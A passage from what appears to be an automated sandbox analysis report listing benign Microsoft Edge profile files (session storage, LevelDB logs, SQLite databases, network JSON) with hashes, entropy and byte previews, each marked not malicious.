C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	6099
Entropy (8bit):	3.4089865976937532
Encrypted:	false
SSDEEP:	96:3fK3btTm3TKM0sk8ijm6nPnV23Zf49Xp+gl+diVqI5bjLl9iSr/1IXjLDD7FHAV:3wbu88iK6nvr9Xp++qiJ5bjLl9iSr/I/
MD5:	45C74AD4A852396755156E100572517D
SHA1:	F57981A816E3602F5935A2A3C69A4101386D5FEB
SHA-256:	5F82BE2D7798CB24178A4CA50EF1EFEFA9E0BC4F8CB951A9D7F7FB85978AA34B
SHA-512:	3AD164B402CC625039C24699745E8CF09ED0A8D495852998CBCB22459377FF0AACECCC1708F3CDBA25ACC09CC9484B835E180BB487A0CC1DBB3718AFB2159E59
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f.................&f.................&f.................&f................B-Nb................next-map-id.1.Cnamespace-6b70ff1e_a6be_4b1b_900a_13b5d19dfc7d-https://ntp.msn.com/.0(.K..................map-0-shd_sweeper.,{.".x.-.m.s.-.f.l.i.g.h.t.I.d.".:.".m.s.n.a.l.l.e.x.p.u.s.e.r.s.,.p.r.g.-.s.p.-.l.i.v.e.a.p.i.,.p.r.g.-.e.h.p.s.b.t.q.l.t.,.p.r.g.-.c.a.l.-.5.c.o.l.u.m.n.,.p.r.g.-.1.s.w.-.s.a.-.q.p.v.4.0.3.,.p.r.g.-.1.s.w.-.s.a.g.e.e.x.1.a.,.p.r.g.-.1.s.w.-.s.a.g.e.e.x.p.e.,.p.r.g.-.1.s.w.-.s.a.e.r.e.v.a.r.f.1.t.1.,.p.r.g.-.1.s.w.-.p.r.g.1.r.e.t.r.y.,.1.s.w.-.t.p.s.n.-.d.s.t.p.r.g.1.d.c.y.7.-.t.,.1.s.-.t.p.s.n.-.d.s.t.d.c.y.7.,.1.s.-.t.p.s.n.p.1.-.d.t.d.c.,.p.r.g.-.1.s.w.-.r.i.v.d.d.r.-.a.n.y.,.p.r.g.-.1.s.w.-.r.i.v.c.o.v.r.d.a.n.y.,.2.4.0.9.-.n.e.w.-.b.i.n.g.-.d.e.s.i.g.n.-.t.,.r.o.u.t.e.r.g.r.a.p.h.p.r.o.d.,.p.r.g.-.a.d.s.p.e.e.k.,.1.s.-.c.g.-.c.g.m.o.d.e.l.r.,.t.r.a.f.f.i.c.-.p.r.2.-.n.e.w.s.,.p.r.g.-.p.r.2.-.t.f.n.e.w.s.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.081223897940667
Encrypted:	false
SSDEEP:	6:HU8d5lG3+q2PN723oH+TcwtrQMxIFUt8YU8d5wZZmw+YU8dzVkwON723oH+Tcwtf:d5M3+vVaYebCFUt8e5wZ/+ezV5OaYebf
MD5:	66B45187BD445AB0606B7381CFE6F38B
SHA1:	933F44F0B09F28671E77BAA8B407008FE5F3C1D7
SHA-256:	ABC3E22CD94A26ADC8BEEB03D0E0CF01C983FE07755C09A25F862DB558FA90F8
SHA-512:	8D607DD87EC18AA763E0346D229161EB120ACA8C6206A577311AF3EC5E0B4DDBE96DD9B1FBFFFC70E234960AD04452B72BBCE54CF9AC088EA19C03BE34CBA9DB
Malicious:	false
Preview:	2024/11/12-11:07:41.061 14dc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/12-11:07:41.065 14dc Recovering log #3.2024/11/12-11:07:41.079 14dc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.081223897940667
Encrypted:	false
SSDEEP:	6:HU8d5lG3+q2PN723oH+TcwtrQMxIFUt8YU8d5wZZmw+YU8dzVkwON723oH+Tcwtf:d5M3+vVaYebCFUt8e5wZ/+ezV5OaYebf
MD5:	66B45187BD445AB0606B7381CFE6F38B
SHA1:	933F44F0B09F28671E77BAA8B407008FE5F3C1D7
SHA-256:	ABC3E22CD94A26ADC8BEEB03D0E0CF01C983FE07755C09A25F862DB558FA90F8
SHA-512:	8D607DD87EC18AA763E0346D229161EB120ACA8C6206A577311AF3EC5E0B4DDBE96DD9B1FBFFFC70E234960AD04452B72BBCE54CF9AC088EA19C03BE34CBA9DB
Malicious:	false
Preview:	2024/11/12-11:07:41.061 14dc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/12-11:07:41.065 14dc Recovering log #3.2024/11/12-11:07:41.079 14dc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Session_13375901262793525

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1443
Entropy (8bit):	3.808868591874923
Encrypted:	false
SSDEEP:	24:3eh8ccSzRwP3GpsAF4unxmtLp3X2amEtG1ChqNMI9zqH9QKkOAM4b9:3w8ccSz2P3GzFYLp2FEkChuW+HOpE
MD5:	0E3E407F65F1B161F3A53C029E3BF324
SHA1:	0F5D2F79909419A701208C47D9C52FECA5884CA8
SHA-256:	B1402A3EF8CFB4B75FE082DB8CE4C638999323BE2FBD78FB1E288E0079A4B152
SHA-512:	81097BA25B2D651E8717E7BB51A51F2270A21B3CDCD7AD99F07DAFF7AB2ACDC749350918A431B4A1FF990EA45258A279E4ADDC7C429198206BDD1372B5017E75
Malicious:	false
Preview:	SNSS.......2..K...........2..K......"2..K...........2..K.......2..K.......3..K.......3..K....!..3..K...............................2..K3..K1..,...3..K$...6b70ff1e_a6be_4b1b_900a_13b5d19dfc7d...2..K.......3..K....7..........2..K...2..K.......................2..K....................5..0...2..K&...{46F3A197-DB49-410A-81B3-94975C835573}.....2..K.......2..K.......................3..K...........3..K........edge://newtab/......N.e.w. .t.a.b...........!...............................................................x...............................x........T.j.&...T.j.&.................................. ...................................................r...h.t.t.p.s.:././.n.t.p...m.s.n...c.o.m./.e.d.g.e./.n.t.p.?.l.o.c.a.l.e.=.e.n.-.G.B.&.t.i.t.l.e.=.N.e.w.%.2.0.t.a.b.&.d.s.p.=.1.&.s.p.=.B.i.n.g.&.i.s.F.R.E.M.o.d.a.l.B.a.c.k.g.r.o.u.n.d.=.1.&.s.t.a.r.t.p.a.g.e.=.1.&.P.C.=.U.5.3.1.....................................8.......0.......8...............................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Shortcuts

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.44194574462308833
Encrypted:	false
SSDEEP:	12:TLiNCcUMskMVcIWGhWxBzEXx7AAQlvsdFxOUwa5qgufTJpbZ75fOS:TLisVMnYPhIY5Qlvsd6UwccNp15fB
MD5:	B35F740AA7FFEA282E525838EABFE0A6
SHA1:	A67822C17670CCE0BA72D3E9C8DA0CE755A3421A
SHA-256:	5D599596D116802BAD422497CF68BE59EEB7A9135E3ED1C6BEACC48F73827161
SHA-512:	05C0D33516B2C1AB6928FB34957AD3E03CB0A8B7EEC0FD627DD263589655A16DEA79100B6CC29095C3660C95FD2AFB2E4DD023F0597BD586DD664769CABB67F8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g....."....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	356
Entropy (8bit):	5.064197346211535
Encrypted:	false
SSDEEP:	6:HU8J+q2PN723oH+Tcwt7Uh2ghZIFUt8YU8lZmw+YU8NI3VkwON723oH+Tcwt7Uh9:J+vVaYebIhHh2FUt82/+R3V5OaYebIh9
MD5:	E94C425C27008D25CE47E43A5D70EB1F
SHA1:	AFC43BD6A715FB5B49AA358535DB09ACE5DF626A
SHA-256:	C2E0C7B7F57ACB686F21D15C27B03237D7418FC6EC2CCBF526B0035B1C38513C
SHA-512:	1406CE4505E84EE15D3FB326F8B81AA4FB4ED4243CCE03C95587D36B7EE4411EA8C7D8EDB722A4E32F7DA81D3E6D1900857FDF227A4DD56DCAEC44EC5C1801AE
Malicious:	false
Preview:	2024/11/12-11:07:40.424 1cbc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/12-11:07:40.424 1cbc Recovering log #3.2024/11/12-11:07:40.425 1cbc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	356
Entropy (8bit):	5.064197346211535
Encrypted:	false
SSDEEP:	6:HU8J+q2PN723oH+Tcwt7Uh2ghZIFUt8YU8lZmw+YU8NI3VkwON723oH+Tcwt7Uh9:J+vVaYebIhHh2FUt82/+R3V5OaYebIh9
MD5:	E94C425C27008D25CE47E43A5D70EB1F
SHA1:	AFC43BD6A715FB5B49AA358535DB09ACE5DF626A
SHA-256:	C2E0C7B7F57ACB686F21D15C27B03237D7418FC6EC2CCBF526B0035B1C38513C
SHA-512:	1406CE4505E84EE15D3FB326F8B81AA4FB4ED4243CCE03C95587D36B7EE4411EA8C7D8EDB722A4E32F7DA81D3E6D1900857FDF227A4DD56DCAEC44EC5C1801AE
Malicious:	false
Preview:	2024/11/12-11:07:40.424 1cbc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/12-11:07:40.424 1cbc Recovering log #3.2024/11/12-11:07:40.425 1cbc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	438
Entropy (8bit):	5.177183637399323
Encrypted:	false
SSDEEP:	12:dX+vVaYebvqBQFUt8eB/+ezVV5OaYebvqBvJ:dsVaYebvZg8e7ROaYebvk
MD5:	81C4B13537CF23697F4DFD4B85FBE137
SHA1:	61A2C5A4E5A525FECD890DA14226D2B27B546860
SHA-256:	1394731C1B13E2452926BCEA9415DA90DAA82726C9FD6BD8AF8843A03983270E
SHA-512:	5C4CED504397273D74295416F857786D3E891FED5105BACBE9B0C28AFE6A4B2FF2B3F43AD92D92DC8E6EBAC650F7C8BDF93B0C1E30B4B5E99FC2AFE1C0BBB467
Malicious:	false
Preview:	2024/11/12-11:07:41.030 15bc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/12-11:07:41.032 15bc Recovering log #3.2024/11/12-11:07:41.043 15bc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	438
Entropy (8bit):	5.177183637399323
Encrypted:	false
SSDEEP:	12:dX+vVaYebvqBQFUt8eB/+ezVV5OaYebvqBvJ:dsVaYebvZg8e7ROaYebvk
MD5:	81C4B13537CF23697F4DFD4B85FBE137
SHA1:	61A2C5A4E5A525FECD890DA14226D2B27B546860
SHA-256:	1394731C1B13E2452926BCEA9415DA90DAA82726C9FD6BD8AF8843A03983270E
SHA-512:	5C4CED504397273D74295416F857786D3E891FED5105BACBE9B0C28AFE6A4B2FF2B3F43AD92D92DC8E6EBAC650F7C8BDF93B0C1E30B4B5E99FC2AFE1C0BBB467
Malicious:	false
Preview:	2024/11/12-11:07:41.030 15bc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/12-11:07:41.032 15bc Recovering log #3.2024/11/12-11:07:41.043 15bc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\4458fd42-50b7-4f39-bf71-6d5af28b4da8.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKtiVY:YHpoeS7PMVKJTnMRK3VY
MD5:	285252A2F6327D41EAB203DC2F402C67
SHA1:	ACEDB7BA5FBC3CE914A8BF386A6F72CA7BAA33C6
SHA-256:	5DFC321417FC31359F23320EA68014EBFD793C5BBED55F77DAB4180BBD4A2026
SHA-512:	11CE7CB484FEE66894E63C31DB0D6B7EF66AD0327D4E7E2EB85F3BCC2E836A3A522C68D681E84542E471E54F765E091EFE1EE4065641B0299B15613EB32DCC0D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\5745b3d9-cab0-47ac-bdb9-445d2df0535f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\6bde0530-b747-48e7-b128-7744920398b8.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKtiVY:YHpoeS7PMVKJTnMRK3VY
MD5:	285252A2F6327D41EAB203DC2F402C67
SHA1:	ACEDB7BA5FBC3CE914A8BF386A6F72CA7BAA33C6
SHA-256:	5DFC321417FC31359F23320EA68014EBFD793C5BBED55F77DAB4180BBD4A2026
SHA-512:	11CE7CB484FEE66894E63C31DB0D6B7EF66AD0327D4E7E2EB85F3BCC2E836A3A522C68D681E84542E471E54F765E091EFE1EE4065641B0299B15613EB32DCC0D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF3d3fb.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF544d0.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 9, cookie 0x7, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.3886039372934488
Encrypted:	false
SSDEEP:	24:TLqEeWOT/kIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:T2EeWOT/nDtX5nDOvyKDhU1cSB
MD5:	DEA619BA33775B1BAEEC7B32110CB3BD
SHA1:	949B8246021D004B2E772742D34B2FC8863E1AAA
SHA-256:	3669D76771207A121594B439280A67E3A6B1CBAE8CE67A42C8312D33BA18854B
SHA-512:	7B9741E0339B30D73FACD4670A9898147BE62B8F063A59736AFDDC83D3F03B61349828F2AE88F682D42C177AE37E18349FD41654AEBA50DDF10CD6DC70FA5879
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\d4adfaa0-52e0-4b7c-b071-4068ea037fe3.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\e5a22ae7-245f-4df6-9cff-2af92089bf50.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	3.4921535629071894
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljl:S85aEFljl
MD5:	69449520FD9C139C534E2970342C6BD8
SHA1:	230FE369A09DEF748F8CC23AD70FD19ED8D1B885
SHA-256:	3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277
SHA-512:	EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E6367
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	426
Entropy (8bit):	5.233221570798426
Encrypted:	false
SSDEEP:	12:aFN+vVaYebvqBZFUt8b/++ZV5OaYebvqBaJ:PVaYebvyg8FOaYebvL
MD5:	3FEA4DBBF43DA0817AC9DB5C3B308FE4
SHA1:	D9ABE872002A66E5375B734CC3B2F4710DF92302
SHA-256:	E0BE585CB42CBD919D9E687E9A6C81526C74CC95AB49557B2B2EC27F281FE8B0
SHA-512:	C464E82E47DE03F545BC3A90AB20BAA46A31841174D8AB6DACF9A7FEE30EFF913DFAC430ACB7978D308810E275DD516D99E69F2292993AB7E7EBBDDE674D7C81
Malicious:	false
Preview:	2024/11/12-11:07:58.797 14dc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/12-11:07:58.799 14dc Recovering log #3.2024/11/12-11:07:58.802 14dc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	426
Entropy (8bit):	5.233221570798426
Encrypted:	false
SSDEEP:	12:aFN+vVaYebvqBZFUt8b/++ZV5OaYebvqBaJ:PVaYebvyg8FOaYebvL
MD5:	3FEA4DBBF43DA0817AC9DB5C3B308FE4
SHA1:	D9ABE872002A66E5375B734CC3B2F4710DF92302
SHA-256:	E0BE585CB42CBD919D9E687E9A6C81526C74CC95AB49557B2B2EC27F281FE8B0
SHA-512:	C464E82E47DE03F545BC3A90AB20BAA46A31841174D8AB6DACF9A7FEE30EFF913DFAC430ACB7978D308810E275DD516D99E69F2292993AB7E7EBBDDE674D7C81
Malicious:	false
Preview:	2024/11/12-11:07:58.797 14dc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/12-11:07:58.799 14dc Recovering log #3.2024/11/12-11:07:58.802 14dc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
